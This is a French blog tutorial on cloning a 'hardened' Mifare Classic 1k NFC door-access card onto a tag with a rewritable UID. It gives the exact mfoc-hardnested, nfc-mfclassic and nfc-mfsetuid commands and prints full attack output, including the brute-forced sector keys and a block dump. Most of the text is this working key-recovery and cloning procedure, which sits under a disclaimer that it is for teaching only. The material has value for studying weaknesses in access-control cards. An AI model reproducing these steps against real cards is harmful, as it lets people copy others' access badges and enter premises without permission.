Cloner une carte NFC Mifare Classic 1k hardened

Disclaimer


Attention: Ces informations sont là uniquement à but pédagogique, et cloner une carte qui ne vous appartient pas est illégal. Je décline toute responsabilité en cas de mauvais usage de ce tutoriel.

Introduction


Logeant actuellement dans un studio ayant une serrure électronique, je voulut cloner ma carte d'accès dans un badge porte-clé pour que ce soit plus pratique.
Il existe cependant une difficulté : la carte utilisée n'est pas une simple Mifare Classic 1k, mais c'est une version non susceptibles aux attaques de type DarkSide ou nested.
Il existe cependant un moyen de la lire, nous y viendrons plus tard.

Matériel


Le matériel utilisé est un lecteur NFC ACR122U. Attention, ce lecteur en particulier est indispensable pour réaliser un clonage de carte Mifare Classic Hardened.
Il vous faut également des tags NFC avec UID réinscriptible. C'est également très important, et la plupart ne permettent pas de modifier l'UID (parce que son objectif est d'être un identifiant unique justement).
Vous avez les liens pour le matériel à la fin de l'article.

Logiciels


Comme dit en introduction, la plupart des programmes, tels que mfuck et la branche master de mfoc ne peuvent pas déchiffrer ce genre de cartes.
Fort heureusement, il existe un repo Github implémentant une version de mfoc capable de casser ce genre de chiffrement : vk496/mfoc
Nous allons donc le télécharger et le compiler. Si vous êtes sur Arch, j'ai fait un paquet mfoc-hardnested-git qui fait tout le boulot.
Sinon, suivez les étapes suivantes :
Vous allez également avoir besoin de libnfc. Il est même possible qu'il faille l'installer avant de compiler mfoc. Certaines distributions Linux l'installe par défaut (pour moi, c'était déjà une dépendance d'un autre paquet, donc il était déjà présent).
Il se peut que vous ayez un bug à propos de l'USB alternate mode lorsque vous tenterez d'utiliser mfoc. Si c'est le cas, regardez libnfc-no_alternate_usb-git.

Nous avons désormais tous les logiciels, passons à l'action !

Action


Création d'un dump de la carte originale


Branchez votre lecteur NFC, et placez votre carte NFC à copier dessus. Elle devra rester là, parfaitement immobile, pendant toute la durée de son crack. Et ça peut prendre du temps (selon le PC) !

Une fois cela fais, mettez-vous dans le dossier dans lequel vous voulez sauvegarder le dump, et faites :
# mfoc -O to_clone.mfd


Cela va prendre longtemps (~10 minutes sur un PC avec 8 cœurs et 16 threads hardware). Allez-vous faire un chocolat chaud en attendant.
Il est aussi possible que vous ayez besoin de l'exécuter en tant que root.

À la fin, vous devriez obtenir :
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
* UID size: single
* bit frame anticollision supported
       UID (NFCID1): [REDACTED]  
      SAK (SEL_RES): 08  
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys…
Symbols: '.' no key found, '/' A key found, '39 B key found, 'x' both keys found
[Key: ffffffffffff] -> [xxxxx………..]
[Key: a0a1a2a3a4a5] -> [xxxxx………..]
[Key: d3f7d3f7d3f7] -> [xxxxx………..]
[Key: 000000000000] -> [xxxxx………..]
[Key: b0b1b2b3b4b5] -> [xxxxx………..]
[Key: 4d3a99c351dd] -> [xxxxx………..]
[Key: 1a982c7e459a] -> [xxxxx………..]
[Key: aabbccddeeff] -> [xxxxx………..]
[Key: 714c5c886e97] -> [xxxxx………..]
[Key: 587ee5f9350f] -> [xxxxx………..]
[Key: a0478cc39091] -> [xxxxx………..]
[Key: 533cb6c723f6] -> [xxxxx………..]
[Key: 8fd0a4f256e9] -> [xxxxx………..]

Sector 00 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 01 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 02 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 03 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 04 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 05 - Unknown Key A               Unknown Key B
Sector 06 - Unknown Key A               Unknown Key B
Sector 07 - Unknown Key A               Unknown Key B
Sector 08 - Unknown Key A               Unknown Key B
Sector 09 - Unknown Key A               Unknown Key B
Sector 10 - Unknown Key A               Unknown Key B
Sector 11 - Unknown Key A               Unknown Key B
Sector 12 - Unknown Key A               Unknown Key B
Sector 13 - Unknown Key A               Unknown Key B
Sector 14 - Unknown Key A               Unknown Key B
Sector 15 - Unknown Key A               Unknown Key B


Using sector 04 as an exploit sector
Card is not vulnerable to nested attack

Using AVX2 SIMD core.          


          
 time    | trg | #nonces | Activity                                                | expected to brute force          
         |     |         |                                                         | #states         | time           
-------------------------------------------------------------------------------------------------------------          
       0 |  0? |       0 | Start using 16 threads and AVX2 SIMD core               |                 |          
       0 |  0? |       0 | Brute force benchmark: 801 million (2^29.6) keys/s      | 140737488355328 |    2d          
       0 |  0? |       0 | Using 235 precalculated bitflip state tables            | 140737488355328 |    2d          
     224 |  5A |    1455 | Apply bit flip properties                               |      4068652032 |    5s          
     224 |  5A |    1456 | Apply Sum property. Sum(a0) = 136                       |      4068652032 |    5s          
     226 |  5A |    1456 | Starting brute force…                                 |      4068652032 |    5s          
     247 |  5A |    1456 | Brute force phase completed. Key found: 6a1987c40a21    |               0 |    0s          
Checking for key reuse…
[Key: ffffffffffff] -> [xxxxx/……….]
[Key: 6a1987c40a21] -> [xxxxx///////////]

Sector 00 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 01 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 02 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 03 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 04 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 05 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 06 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 07 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 08 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 09 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 10 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 11 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 12 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 13 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 14 - Found   Key A: 6a1987c40a21 Unknown Key B
Sector 15 - Found   Key A: 6a1987c40a21 Unknown Key B


Using sector 04 as an exploit sector
Card is not vulnerable to nested attack

Using AVX2 SIMD core.          


          
 time    | trg | #nonces | Activity                                                | expected to brute force          
         |     |         |                                                         | #states         | time           
-------------------------------------------------------------------------------------------------------------          
       0 |  0? |       0 | Start using 16 threads and AVX2 SIMD core               |                 |          
       0 |  0? |       0 | Brute force benchmark: 747 million (2^29.5) keys/s      | 140737488355328 |    2d          
       0 |  0? |       0 | Using 235 precalculated bitflip state tables            | 140737488355328 |    2d          
     223 |  5B |    1454 | Apply bit flip properties                               |    372021755904 |  8min          
     224 |  5B |    1455 | Apply Sum property. Sum(a0) = 128                       |    111408300032 |  2min          
     226 |  5B |    1458 | Apply bit flip properties                               |    111408300032 |  2min          
     228 |  0? |    1458 | Apply Sum(a8) and all bytes bitflip properties          |    111408037888 |  2min          
     279 |  5B |    1458 | Brute force phase completed. Key found: 7f33625bc129    |               0 |    0s          
Checking for key reuse…
[Key: ffffffffffff] -> [xxxxxx//////////]
[Key: 6a1987c40a21] -> [xxxxxx//////////]
[Key: 7f33625bc129] -> [xxxxxxxxxxxxxxxx]

Sector 00 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 01 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 02 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 03 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 04 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 05 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 06 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 07 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 08 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 09 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 10 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 11 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 12 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 13 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 14 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129
Sector 15 - Found   Key A: 6a1987c40a21 Found   Key B: 7f33625bc129

We have all sectors encrypted with the default keys..

Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key 6a1987c40a21 :00  00  00  00  00  00  f7  8f  00  5a  00  00  00  00  00  00  
Block 62, type A, key 6a1987c40a21 :ff  ff  0e  f1  81  fe  e0  3c  f0  c9  d8  a3  6a  89  31  7d  
Block 61, type A, key 6a1987c40a21 :ff  81  ef  00  10  02  00  b5  00  00  00  00  00  00  00  00  
Block 60, type A, key 6a1987c40a21 :e0  ff  00  00  00  48  ef  48  1f  00  ff  ff  ff  b7  10  b7  
Block 59, type A, key 6a1987c40a21 :00  00  00  00  00  00  f7  8f  00  5a  00  00  00  00  00  00  
Block 58, type A, key 6a1987c40a21 :16  55  c9  13  56  45  48  fa  81  62  90  c9  ed  45  99  f1  
Block 57, type A, key 6a1987c40a21 :00  2b  d4  0d  ef  32  b6  40  08  0c  3f  18  93  c2  61  6e  
Block 56, type A, key 6a1987c40a21 :4e  e2  00  e6  00  40  00  00  00  00  00  00  bb  00  00  00  
Block 55, type A, key 6a1987c40a21 :00  00  00  00  00  00  f7  8f  00  5a  00  00  00  00  00  00  
…
Block 14, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 13, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 12, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 11, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 10, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 09, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 08, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 07, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 06, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 05, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 04, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 03, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  5a  ff  ff  ff  ff  ff  ff  
Block 02, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 01, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 00, type A, key ffffffffffff :[REDACTED]


Écriture de la nouvelle carte


Placez votre tag NFC vierge acheté en Chine et avec UID réinscriptible (très très important) sur votre lecteur NFC (et enlevez la carte NFC dont vous avez récupéré le dump).

Nous allons devoir lire cette carte avant de pouvoir la ré-écrire !
Pour ce faire, mfoc -O blank.mfd. Ça devrait aller très vite pour celle là, car elle n'est pas hardened.
Ensuite, nous allons écire sur cette carte avec un autre programme (inclus dans libnfc), qui est nfc-mfclassic.
Les commandes à effectuer est :
# nfc-mfclassic W a u to_clone.mfd blank.mfd
# nfc-mfclassic W b u to_clone.mfd blank.mfd

Voilà, c'est presque fini. Il reste cependant une chose : modifier l'UID de la carte.
Remettez votre carte originale sur le lecteur, et lancez
# nfc-list
NFC device: ACS / ACR122U PICC Interface opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
       UID (NFCID1): xx  xx  xx  xx  
      SAK (SEL_RES): 88

Les informations utiles sont dans UID (NFCID1). J'ai volontairement masqué ces informations car elles permettent d'usurper l'identité de la carte.
Gardez cet UID dans un coin, et placez la nouvelle carte sur le lecteur :
# nfc-mfsetuid xxxxxxxx

Si vous n'avez pas d'erreur, vous pouvez aller tester votre carte et voir si elle marche correctement !

Sources



Techniques et logiciels


Matériel



Par aviallon, le 09/10/20 à 17:42:29. Modifié le 09/10/20 à 19:34:59 par aviallon

Commentaires

Commentaire anonyme non modéré
.
Écrit le 20/09/21 à 01:01:04